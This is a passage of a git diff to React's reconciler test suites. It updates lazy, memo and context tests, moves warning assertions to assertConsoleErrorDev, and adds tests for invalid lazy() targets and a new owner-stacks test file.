-    expect(root).not.toMatchRenderedOutput(<div>AB</div>);
+    await waitForAll(['Loading...']);
 
-    await expect(async () => {
-      await act(() => resolveFakeImport(Foo));
-      assertLog(['A', 'B']);
-    }).toErrorDev(
-      (gate(flags => flags.enableOwnerStacks) ? '' : '    in Text (at **)\n') +
-        '    in Foo (at **)',
+    await resolveFakeImport(React.Suspense);
+    root.update(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+    );
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: Suspense. ' +
+        'Lazy element type must resolve to a class or function.',
     );
-    expect(root).toMatchRenderedOutput(<div>AB</div>);
   });
 
-  it('supports class and forwardRef components', async () => {
-    class Foo extends React.Component {
-      render() {
-        return <Text text="Foo" />;
-      }
-    }
-    const LazyClass = lazy(() => {
-      return fakeImport(Foo);
-    });
+  it('renders a lazy context provider without value prop', async () => {
+    // Context providers work when wrapped in lazy()
+    const Context = React.createContext('default');
+    const LazyProvider = lazy(() => fakeImport(Context));
 
-    class Bar extends React.Component {
-      render() {
-        return <Text text="Bar" />;
-      }
+    function ConsumerText() {
+      return <Text text={React.useContext(Context)} />;
     }
-    const ForwardRefBar = React.forwardRef((props, ref) => {
-      Scheduler.log('forwardRef');
-      return <Bar ref={ref} />;
-    });
-
-    const LazyForwardRef = lazy(() => {
-      return fakeImport(ForwardRefBar);
-    });
 
-    const ref = React.createRef();
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyClass />
-        <LazyForwardRef ref={ref} />
+        <LazyProvider value="provided">
+          <ConsumerText />
+        </LazyProvider>
       </Suspense>,
       {
         unstable_isConcurrent: true,
@@ -1038,166 +917,441 @@ describe('ReactLazy', () => {
     );
 
     await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('FooBar');
-    expect(ref.current).toBe(null);
 
-    await act(() => resolveFakeImport(Foo));
-    assertLog(['Foo']);
-
-    await act(() => resolveFakeImport(ForwardRefBar));
-    assertLog(['Foo', 'forwardRef', 'Bar']);
-    expect(root).toMatchRenderedOutput('FooBar');
-    expect(ref.current).not.toBe(null);
+    await act(() => resolveFakeImport(Context));
+    assertLog(['provided']);
+    expect(root).toMatchRenderedOutput('provided');
   });
 
-  // Regression test for #14310
-  // @gate !disableDefaultPropsExceptForClasses
-  it('supports defaultProps defined on the memo() return value', async () => {
-    const Add = React.memo(props => {
-      return props.inner + props.outer;
-    });
-    Add.defaultProps = {
-      inner: 2,
-    };
-    const LazyAdd = lazy(() => fakeImport(Add));
+  it('throws with a useful error when wrapping Context.Consumer with lazy()', async () => {
+    const Context = React.createContext(null);
+    const BadLazy = lazy(() => fakeImport(Context.Consumer));
+
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={2} />
+        <BadLazy />
       </Suspense>,
       {
         unstable_isConcurrent: true,
       },
     );
-    await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('4');
 
-    // Mount
-    await expect(async () => {
-      await act(() => resolveFakeImport(Add));
-    }).toErrorDev(
-      'Unknown: Support for defaultProps will be removed from memo components in a future major release. Use JavaScript default parameters instead.',
-    );
-    expect(root).toMatchRenderedOutput('4');
+    await waitForAll(['Loading...']);
 
-    // Update (shallowly equal)
+    await resolveFakeImport(Context.Consumer);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={2} />
+        <BadLazy />
       </Suspense>,
     );
-    await waitForAll([]);
-    expect(root).toMatchRenderedOutput('4');
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: Context.Consumer. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
+  });
 
-    // Update
+  // @gate enableSuspenseList
+  it('throws with a useful error when wrapping SuspenseList with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.unstable_SuspenseList));
+
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+
+    await resolveFakeImport(React.unstable_SuspenseList);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={3} />
+        <BadLazy />
       </Suspense>,
     );
-    await waitForAll([]);
-    expect(root).toMatchRenderedOutput('5');
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: SuspenseList. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
+  });
+
+  // @gate enableViewTransition
+  it('throws with a useful error when wrapping ViewTransition with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.ViewTransition));
 
-    // Update (shallowly equal)
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+
+    await resolveFakeImport(React.ViewTransition);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={3} />
+        <BadLazy />
       </Suspense>,
     );
-    await waitForAll([]);
-    expect(root).toMatchRenderedOutput('5');
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: ViewTransition. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
+  });
+
+  it('throws with a useful error when wrapping Activity with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.Activity));
+
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+
+    await resolveFakeImport(React.Activity);
+    root.update(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+    );
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: Activity. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
+  });
+
+  // @gate enableTransitionTracing
+  it('throws with a useful error when wrapping TracingMarker with lazy()', async () => {
+    const BadLazy = lazy(() => fakeImport(React.unstable_TracingMarker));
+
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+
+    await resolveFakeImport(React.unstable_TracingMarker);
+    root.update(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <BadLazy />
+      </Suspense>,
+    );
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: TracingMarker. ' +
+        'Lazy element type must resolve to a class or function.',
+    );
+  });
+
+  it('throws with a useful error when wrapping lazy() multiple times', async () => {
+    const Lazy1 = lazy(() => fakeImport(Text));
+    const Lazy2 = lazy(() => fakeImport(Lazy1));
 
-    // Update (explicit props)
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <Lazy2 text="Hello" />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('Hello');
+
+    await resolveFakeImport(Lazy1);
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={1} inner={1} />
+        <Lazy2 text="Hello" />
+      </Suspense>,
+    );
+    await waitForThrow(
+      'Element type is invalid. Received a promise that resolves to: [object Object]. ' +
+        'Lazy element type must resolve to a class or function.' +
+        (__DEV__
+          ? ' Did you wrap a component in React.lazy() more than once?'
+          : ''),
+    );
+  });
+
+  it('resolves props for function component without defaultProps', async () => {
+    function Add(props) {
+      return props.inner + props.outer;
+    }
+    const LazyAdd = lazy(() => fakeImport(Add));
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner="2" outer="2" />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('22');
+
+    // Mount
+    await act(() => resolveFakeImport(Add));
+
+    expect(root).toMatchRenderedOutput('22');
+
+    // Update
+    root.update(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner={false} outer={false} />
       </Suspense>,
     );
     await waitForAll([]);
-    expect(root).toMatchRenderedOutput('2');
+    expect(root).toMatchRenderedOutput('0');
+  });
+
+  it('resolves props for class component with defaultProps', async () => {
+    class Add extends React.Component {
+      render() {
+        expect(this.props.innerWithDefault).toBe(42);
+        return this.props.inner + this.props.outer;
+      }
+    }
+    Add.defaultProps = {
+      innerWithDefault: 42,
+    };
+    const LazyAdd = lazy(() => fakeImport(Add));
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner="2" outer="2" />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('22');
+
+    // Mount
+    await act(() => resolveFakeImport(Add));
 
-    // Update (explicit props, shallowly equal)
+    expect(root).toMatchRenderedOutput('22');
+
+    // Update
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={1} inner={1} />
+        <LazyAdd inner={false} outer={false} />
       </Suspense>,
     );
     await waitForAll([]);
-    expect(root).toMatchRenderedOutput('2');
+    expect(root).toMatchRenderedOutput('0');
+  });
+
+  it('resolves props for class component without defaultProps', async () => {
+    class Add extends React.Component {
+      render() {
+        return this.props.inner + this.props.outer;
+      }
+    }
+    const LazyAdd = lazy(() => fakeImport(Add));
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner="2" outer="2" />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('22');
+
+    // Mount
+    await act(() => resolveFakeImport(Add));
+
+    expect(root).toMatchRenderedOutput('22');
 
     // Update
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={1} />
+        <LazyAdd inner={false} outer={false} />
       </Suspense>,
     );
     await waitForAll([]);
-    expect(root).toMatchRenderedOutput('3');
+    expect(root).toMatchRenderedOutput('0');
   });
 
-  // @gate !disableDefaultPropsExceptForClasses
-  it('merges defaultProps in the correct order', async () => {
-    let Add = React.memo(props => {
+  it('resolves props for forwardRef component without defaultProps', async () => {
+    const Add = React.forwardRef((props, ref) => {
       return props.inner + props.outer;
     });
-    Add.defaultProps = {
-      inner: 100,
+    Add.displayName = 'Add';
+
+    const LazyAdd = lazy(() => fakeImport(Add));
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner="2" outer="2" />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('22');
+
+    // Mount
+    await act(() => resolveFakeImport(Add));
+
+    expect(root).toMatchRenderedOutput('22');
+
+    // Update
+    root.update(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner={false} outer={false} />
+      </Suspense>,
+    );
+    await waitForAll([]);
+    expect(root).toMatchRenderedOutput('0');
+  });
+
+  it('resolves props for outer memo component without defaultProps', async () => {
+    let Add = props => {
+      return props.inner + props.outer;
     };
     Add = React.memo(Add);
-    Add.defaultProps = {
-      inner: 2,
-      outer: 0,
-    };
     const LazyAdd = lazy(() => fakeImport(Add));
     const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={2} />
+        <LazyAdd inner="2" outer="2" />
       </Suspense>,
       {
         unstable_isConcurrent: true,
       },
     );
+
     await waitForAll(['Loading...']);
-    expect(root).not.toMatchRenderedOutput('4');
+    expect(root).not.toMatchRenderedOutput('22');
 
     // Mount
-    await expect(async () => {
-      await act(() => resolveFakeImport(Add));
-    }).toErrorDev([
-      'Memo: Support for defaultProps will be removed from memo components in a future major release. Use JavaScript default parameters instead.',
-      'Unknown: Support for defaultProps will be removed from memo components in a future major release. Use JavaScript default parameters instead.',
-    ]);
-    expect(root).toMatchRenderedOutput('4');
+    await act(() => resolveFakeImport(Add));
+
+    expect(root).toMatchRenderedOutput('22');
 
     // Update
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd outer={3} />
+        <LazyAdd inner={false} outer={false} />
       </Suspense>,
     );
     await waitForAll([]);
-    expect(root).toMatchRenderedOutput('5');
+    expect(root).toMatchRenderedOutput('0');
+  });
+
+  it('resolves props for inner memo component without defaultProps', async () => {
+    const Add = props => {
+      return props.inner + props.outer;
+    };
+    Add.displayName = 'Add';
+    const LazyAdd = lazy(() => fakeImport(Add));
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyAdd inner="2" outer="2" />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Loading...']);
+    expect(root).not.toMatchRenderedOutput('22');
+
+    // Mount
+    await act(() => resolveFakeImport(Add));
+
+    expect(root).toMatchRenderedOutput('22');
 
     // Update
     root.update(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyAdd />
+        <LazyAdd inner={false} outer={false} />
       </Suspense>,
     );
     await waitForAll([]);
-    expect(root).toMatchRenderedOutput('2');
+    expect(root).toMatchRenderedOutput('0');
   });
 
-  // @gate !enableRefAsProp || !__DEV__
-  it('warns about ref on functions for lazy-loaded components', async () => {
-    const Foo = props => <div />;
+  it('includes lazy-loaded component in warning stack', async () => {
+    const Foo = props => <div>{[<Text text="A" />, <Text text="B" />]}</div>;
     const LazyFoo = lazy(() => {
+      Scheduler.log('Started loading');
       return fakeImport(Foo);
     });
 
+    const root = ReactTestRenderer.create(
+      <Suspense fallback={<Text text="Loading..." />}>
+        <LazyFoo />
+      </Suspense>,
+      {
+        unstable_isConcurrent: true,
+      },
+    );
+
+    await waitForAll(['Started loading', 'Loading...']);
+    expect(root).not.toMatchRenderedOutput(<div>AB</div>);
+
+    await act(() => resolveFakeImport(Foo));
+    assertLog(['A', 'B']);
+    assertConsoleErrorDev([
+      'Each child in a list should have a unique "key" prop.\n' +
+        '\n' +
+        'Check the render method of `Foo`. ' +
+        'See https://react.dev/link/warning-keys for more information.\n' +
+        '    in Foo (at **)',
+    ]);
+    expect(root).toMatchRenderedOutput(<div>AB</div>);
+  });
+
+  it('supports class and forwardRef components', async () => {
+    class Foo extends React.Component {
+      render() {
+        return <Text text="Foo" />;
+      }
+    }
+    const LazyClass = lazy(() => {
+      return fakeImport(Foo);
+    });
+
+    class Bar extends React.Component {
+      render() {
+        return <Text text="Bar" />;
+      }
+    }
+    const ForwardRefBar = React.forwardRef((props, ref) => {
+      Scheduler.log('forwardRef');
+      return <Bar ref={ref} />;
+    });
+
+    const LazyForwardRef = lazy(() => {
+      return fakeImport(ForwardRefBar);
+    });
+
     const ref = React.createRef();
-    ReactTestRenderer.create(
+    const root = ReactTestRenderer.create(
       <Suspense fallback={<Text text="Loading..." />}>
-        <LazyFoo ref={ref} />
+        <LazyClass />
+        <LazyForwardRef ref={ref} />
       </Suspense>,
       {
         unstable_isConcurrent: true,
@@ -1205,10 +1359,16 @@ describe('ReactLazy', () => {
     );
 
     await waitForAll(['Loading...']);
-    await resolveFakeImport(Foo);
-    await expect(async () => {
-      await waitForAll([]);
-    }).toErrorDev('Function components cannot be given refs');
+    expect(root).not.toMatchRenderedOutput('FooBar');
+    expect(ref.current).toBe(null);
+
+    await act(() => resolveFakeImport(Foo));
+    assertLog(['Foo']);
+
+    await act(() => resolveFakeImport(ForwardRefBar));
+    assertLog(['Foo', 'forwardRef', 'Bar']);
+    expect(root).toMatchRenderedOutput('FooBar');
+    expect(ref.current).not.toBe(null);
   });
 
   it('should error with a component stack naming the resolved component', async () => {
@@ -1354,11 +1514,16 @@ describe('ReactLazy', () => {
       unstable_isConcurrent: true,
     });
 
-    await waitForAll(['Init A', 'Loading...']);
+    await waitForAll([
+      'Init A',
+      'Loading...',
+      // pre-warming
+      'Init B',
+    ]);
     expect(root).not.toMatchRenderedOutput('AB');
 
     await act(() => resolveFakeImport(ChildA));
-    assertLog(['A', 'Init B']);
+    assertLog(['A']);
 
     await act(() => resolveFakeImport(ChildB));
     assertLog(['A', 'B', 'Did mount: A', 'Did mount: B']);
diff --git a/packages/react-reconciler/src/__tests__/ReactMemo-test.js b/packages/react-reconciler/src/__tests__/ReactMemo-test.js
index c4d50631ec8b..c9a554aa1e81 100644
--- a/packages/react-reconciler/src/__tests__/ReactMemo-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactMemo-test.js
@@ -19,6 +19,7 @@ let Scheduler;
 let act;
 let waitForAll;
 let assertLog;
+let assertConsoleErrorDev;
 
 describe('memo', () => {
   beforeEach(() => {
@@ -33,6 +34,7 @@ describe('memo', () => {
     const InternalTestUtils = require('internal-test-utils');
     waitForAll = InternalTestUtils.waitForAll;
     assertLog = InternalTestUtils.assertLog;
+    assertConsoleErrorDev = InternalTestUtils.assertConsoleErrorDev;
   });
 
   function Text(props) {
@@ -44,43 +46,6 @@ describe('memo', () => {
     return {default: result};
   }
 
-  // @gate !enableRefAsProp || !__DEV__
-  it('warns when giving a ref (simple)', async () => {
-    // This test lives outside sharedTests because the wrappers don't forward
-    // refs properly, and they end up affecting the current owner which is used
-    // by the warning (making the messages not line up).
-    function App() {
-      return null;
-    }
-    App = React.memo(App);
-    function Outer() {
-      return <App ref={() => {}} />;
-    }
-    ReactNoop.render(<Outer />);
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'Function components cannot be given refs. Attempts to access ' +
-        'this ref will fail.',
-    ]);
-  });
-
-  // @gate !enableRefAsProp || !__DEV__
-  it('warns when giving a ref (complex)', async () => {
-    function App() {
-      return null;
-    }
-    // A custom compare function means this won't use SimpleMemoComponent (as of this writing)
-    // SimpleMemoComponent is unobservable tho, so we can't check :)
-    App = React.memo(App, () => false);
-    function Outer() {
-      return <App ref={() => {}} />;
-    }
-    ReactNoop.render(<Outer />);
-    await expect(async () => await waitForAll([])).toErrorDev([
-      'Function components cannot be given refs. Attempts to access ' +
-        'this ref will fail.',
-    ]);
-  });
-
   // Tests should run against both the lazy and non-lazy versions of `memo`.
   // To make the tests work for both versions, we wrap the non-lazy version in
   // a lazy function component.
@@ -408,115 +373,20 @@ describe('memo', () => {
         expect(ReactNoop).toMatchRenderedOutput(<span prop="1!" />);
       });
 
-      // @gate !disableDefaultPropsExceptForClasses
-      it('supports defaultProps defined on the memo() return value', async () => {
-        function Counter({a, b, c, d, e}) {
-          return <Text text={a + b + c + d + e} />;
-        }
-        Counter.defaultProps = {
-          a: 1,
-        };
-        // Note! We intentionally use React.memo() rather than the injected memo().
-        // This tests a synchronous chain of React.memo() without lazy() in the middle.
-        Counter = React.memo(Counter);
-        Counter.defaultProps = {
-          b: 2,
-        };
-        Counter = React.memo(Counter);
-        Counter = React.memo(Counter); // Layer without defaultProps
-        Counter.defaultProps = {
-          c: 3,
-        };
-        Counter = React.memo(Counter);
-        Counter.defaultProps = {
-          d: 4,
-        };
-        // The final layer uses memo() from test fixture (which might be lazy).
-        Counter = memo(Counter);
-
-        await expect(async () => {
-          await act(() => {
-            ReactNoop.render(
-              <Suspense fallback={<Text text="Loading..." />}>
-                <Counter e={5} />
-              </Suspense>,
-            );
-          });
-          assertLog(['Loading...', 15]);
-        }).toErrorDev([
-          'Counter: Support for defaultProps will be removed from memo components in a future major release. Use JavaScript default parameters instead.',
-        ]);
-        expect(ReactNoop).toMatchRenderedOutput(<span prop={15} />);
-
-        // Should bail out because props have not changed
-        ReactNoop.render(
-          <Suspense>
-            <Counter e={5} />
-          </Suspense>,
-        );
-        await waitForAll([]);
-        expect(ReactNoop).toMatchRenderedOutput(<span prop={15} />);
-
-        // Should update because count prop changed
-        ReactNoop.render(
-          <Suspense>
-            <Counter e={10} />
-          </Suspense>,
-        );
-        await waitForAll([20]);
-        expect(ReactNoop).toMatchRenderedOutput(<span prop={20} />);
-      });
-
       it('warns if the first argument is undefined', () => {
-        expect(() => memo()).toErrorDev(
+        memo();
+        assertConsoleErrorDev([
           'memo: The first argument must be a component. Instead ' +
             'received: undefined',
-          {withoutStack: true},
-        );
+        ]);
       });
 
       it('warns if the first argument is null', () => {
-        expect(() => memo(null)).toErrorDev(
+        memo(null);
+        assertConsoleErrorDev([
           'memo: The first argument must be a component. Instead ' +
             'received: null',
-          {withoutStack: true},
-        );
-      });
-
-      // @gate !disableDefaultPropsExceptForClasses
-      it('handles nested defaultProps declarations', async () => {
-        function Inner(props) {
-          return props.inner + props.middle + props.outer;
-        }
-        Inner.defaultProps = {inner: 1};
-        const Middle = React.memo(Inner);
-        Middle.defaultProps = {middle: 10};
-        const Outer = React.memo(Middle);
-        Outer.defaultProps = {outer: 100};
-
-        const root = ReactNoop.createRoot();
-        await expect(async () => {
-          await act(() => {
-            root.render(
-              <div>
-                <Outer />
-              </div>,
-            );
-          });
-        }).toErrorDev([
-          'Support for defaultProps will be removed from memo component',
         ]);
-        expect(root).toMatchRenderedOutput(<div>111</div>);
-
-        await act(async () => {
-          root.render(
-            <div>
-              <Outer inner="2" middle="3" outer="4" />
-            </div>,
-          );
-          await waitForAll([]);
-        });
-        expect(root).toMatchRenderedOutput(<div>234</div>);
       });
 
       it('does not drop lower priority state updates when bailing out at higher pri (simple)', async () => {
@@ -596,14 +466,13 @@ describe('memo', () => {
           <MemoComponent />
         </p>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'Each child in a list should have a unique "key" prop. ' +
           'See https://react.dev/link/warning-keys for more information.\n' +
           '    in span (at **)\n' +
-          '    in ',
-      );
+          '    in **/ReactMemo-test.js:**:** (at **)',
+      ]);
     });
 
     it('should use the inner function name for the stack', async () => {
@@ -615,16 +484,14 @@ describe('memo', () => {
           <MemoComponent />
         </p>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'Each child in a list should have a unique "key" prop.' +
           '\n\nCheck the top-level render call using <Inner>. It was passed a child from Inner. ' +
           'See https://react.dev/link/warning-keys for more information.\n' +
           '    in span (at **)\n' +
-          '    in Inner (at **)' +
-          (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-      );
+          '    in Inner (at **)',
+      ]);
     });
 
     it('should use the inner name in the stack', async () => {
@@ -638,16 +505,14 @@ describe('memo', () => {
           <MemoComponent />
         </p>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'Each child in a list should have a unique "key" prop.' +
           '\n\nCheck the top-level render call using <Inner>. It was passed a child from Inner. ' +
           'See https://react.dev/link/warning-keys for more information.\n' +
           '    in span (at **)\n' +
-          '    in Inner (at **)' +
-          (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-      );
+          '    in Inner (at **)',
+      ]);
     });
 
     it('can use the outer displayName in the stack', async () => {
@@ -660,16 +525,14 @@ describe('memo', () => {
           <MemoComponent />
         </p>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'Each child in a list should have a unique "key" prop.' +
           '\n\nCheck the top-level render call using <Outer>. It was passed a child from Outer. ' +
           'See https://react.dev/link/warning-keys for more information.\n' +
           '    in span (at **)\n' +
-          '    in Outer (at **)' +
-          (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-      );
+          '    in Outer (at **)',
+      ]);
     });
 
     it('should prefer the inner to the outer displayName in the stack', async () => {
@@ -684,16 +547,14 @@ describe('memo', () => {
           <MemoComponent />
         </p>,
       );
-      await expect(async () => {
-        await waitForAll([]);
-      }).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'Each child in a list should have a unique "key" prop.' +
           '\n\nCheck the top-level render call using <Inner>. It was passed a child from Inner. ' +
           'See https://react.dev/link/warning-keys for more information.\n' +
           '    in span (at **)\n' +
-          '    in Inner (at **)' +
-          (gate(flags => flags.enableOwnerStacks) ? '' : '\n    in p (at **)'),
-      );
+          '    in Inner (at **)',
+      ]);
     });
   }
 });
diff --git a/packages/react-reconciler/src/__tests__/ReactNewContext-test.js b/packages/react-reconciler/src/__tests__/ReactNewContext-test.js
index 59d88a9ffa10..d834e5e4effa 100644
--- a/packages/react-reconciler/src/__tests__/ReactNewContext-test.js
+++ b/packages/react-reconciler/src/__tests__/ReactNewContext-test.js
@@ -17,6 +17,7 @@ let gen;
 let waitForAll;
 let waitFor;
 let waitForThrow;
+let assertConsoleErrorDev;
 
 describe('ReactNewContext', () => {
   beforeEach(() => {
@@ -28,10 +29,12 @@ describe('ReactNewContext', () => {
     Scheduler = require('scheduler');
     gen = require('random-seed');
 
-    const InternalTestUtils = require('internal-test-utils');
-    waitForAll = InternalTestUtils.waitForAll;
-    waitFor = InternalTestUtils.waitFor;
-    waitForThrow = InternalTestUtils.waitForThrow;
+    ({
+      waitForAll,
+      waitFor,
+      waitForThrow,
+      assertConsoleErrorDev,
+    } = require('internal-test-utils'));
   });
 
   afterEach(() => {
@@ -858,12 +861,10 @@ describe('ReactNewContext', () => {
         <Context.Provider anyPropNameOtherThanValue="value could be anything" />,
       );
 
-      await expect(async () => await waitForAll([])).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'The `value` prop is required for the `<Context.Provider>`. Did you misspell it or forget to pass it?',
-        {
-          withoutStack: true,
-        },
-      );
+      ]);
     });
 
     it('warns if multiple renderers concurrently render the same context', async () => {
@@ -1032,6 +1033,11 @@ describe('ReactNewContext', () => {
         </LegacyProvider>,
       );
       await waitForAll(['LegacyProvider', 'App', 'Child']);
+      assertConsoleErrorDev([
+        'LegacyProvider uses the legacy childContextTypes API which will soon be removed. ' +
+          'Use React.createContext() instead. (https://react.dev/link/legacy-context)\n' +
+          '    in LegacyProvider (at **)',
+      ]);
       expect(ReactNoop).toMatchRenderedOutput(<span prop="Child" />);
 
       // Update App with same value (should bail out)
@@ -1314,9 +1320,16 @@ describe('ReactNewContext', () => {
       }
 
       ReactNoop.render(<Cls />);
-      await expect(async () => await waitForAll([])).toErrorDev([
-        'Context can only be read while React is rendering',
-        'Cannot update during an existing state transition',
+      await waitForAll([]);
+      assertConsoleErrorDev([
+        'Cannot update during an existing state transition (such as within `render`). ' +
+          'Render methods should be a pure function of props and state.\n' +
+          '    in Cls (at **)',
+        'Context can only be read while React is rendering. ' +
+          'In classes, you can read it in the render method or getDerivedStateFromProps. ' +
+          'In function components, you can read it directly in the function body, ' +
+          'but not inside Hooks like useReducer() or useMemo().\n' +
+          '    in Cls (at **)',
       ]);
     });
   });
@@ -1340,17 +1353,18 @@ describe('ReactNewContext', () => {
       );
     });
 
-    // @gate enableRenderableContext || !__DEV__
     it('warns when passed a consumer', async () => {
       const Context = React.createContext(0);
       function Foo() {
         return useContext(Context.Consumer);
       }
       ReactNoop.render(<Foo />);
-      await expect(async () => await waitForAll([])).toErrorDev(
+      await waitForAll([]);
+      assertConsoleErrorDev([
         'Calling useContext(Context.Consumer) is not supported and will cause bugs. ' +
-          'Did you mean to call useContext(Context) instead?',
-      );
+          'Did you mean to call useContext(Context) instead?\n' +
+          '    in Foo (at **)',
+      ]);
     });
 
     // Context consumer bails out on propagating "deep" updates when `value` hasn't changed.
@@ -1637,7 +1651,6 @@ Context fuzz tester error! Copy and paste the following line into the test suite
     });
   });
 
-  // @gate enableRenderableContext
   it('should treat Context as Context.Provider', async () => {
     const BarContext = React.createContext({value: 'bar-initial'});
     expect(BarContext.Provider).toBe(BarContext);
diff --git a/packages/react-reconciler/src/__tests__/ReactOwnerStacks-test.js b/packages/react-reconciler/src/__tests__/ReactOwnerStacks-test.js
new file mode 100644
index 000000000000..e7b0581d5f4a
--- /dev/null
+++ b/packages/react-reconciler/src/__tests__/ReactOwnerStacks-test.js
@@ -0,0 +1,423 @@
+/**
+ * Copyright (c) Meta Platforms, Inc. and affiliates.
+ *
+ * This source code is licensed under the MIT license found in the
+ * LICENSE file in the root directory of this source tree.
+ *
+ * @emails react-core
+ * @jest-environment node
+ */
+'use strict';
+
+let React;
+let ReactNoop;
+let ReactNoopServer;
+let Scheduler;
+let act;
+let advanceTimersByTime;
+let assertLog;
+let serverAct;
+let waitFor;
+
+describe('ReactOwnerStacks', () => {
+  beforeEach(function () {
+    let time = 10;
+    advanceTimersByTime = timeMS => {
+      jest.advanceTimersByTime(timeMS);
+      time += timeMS;
+    };
+
+    const now = jest.fn().mockImplementation(() => {
+      return time++;
+    });
+    Object.defineProperty(performance, 'timeOrigin', {
+      value: time,
+      configurable: true,
+    });
+    Object.defineProperty(performance, 'now', {
+      value: now,
+      configurable: true,
+    });
+
+    jest.resetModules();
+    React = require('react');
+    ReactNoop = require('react-noop-renderer');
+    ReactNoopServer = require('react-noop-renderer/server');
+    Scheduler = require('scheduler');
+    act = require('internal-test-utils').act;
+    assertLog = require('internal-test-utils').assertLog;
+    serverAct = require('internal-test-utils').serverAct;
+    waitFor = require('internal-test-utils').waitFor;
+  });
+
+  function normalizeCodeLocInfo(str) {
+    return (
+      str &&
+      str.replace(/\n +(?:at|in) ([\S]+)[^\n]*/g, function (m, name) {
+        return '\n    in ' + name + ' (at **)';
+      })
+    );
+  }
+
+  it('behavior in production', () => {
+    if (!__DEV__) {
+      if (gate('fb')) {
+        expect(React).toHaveProperty('captureOwnerStack', undefined);
+      } else {
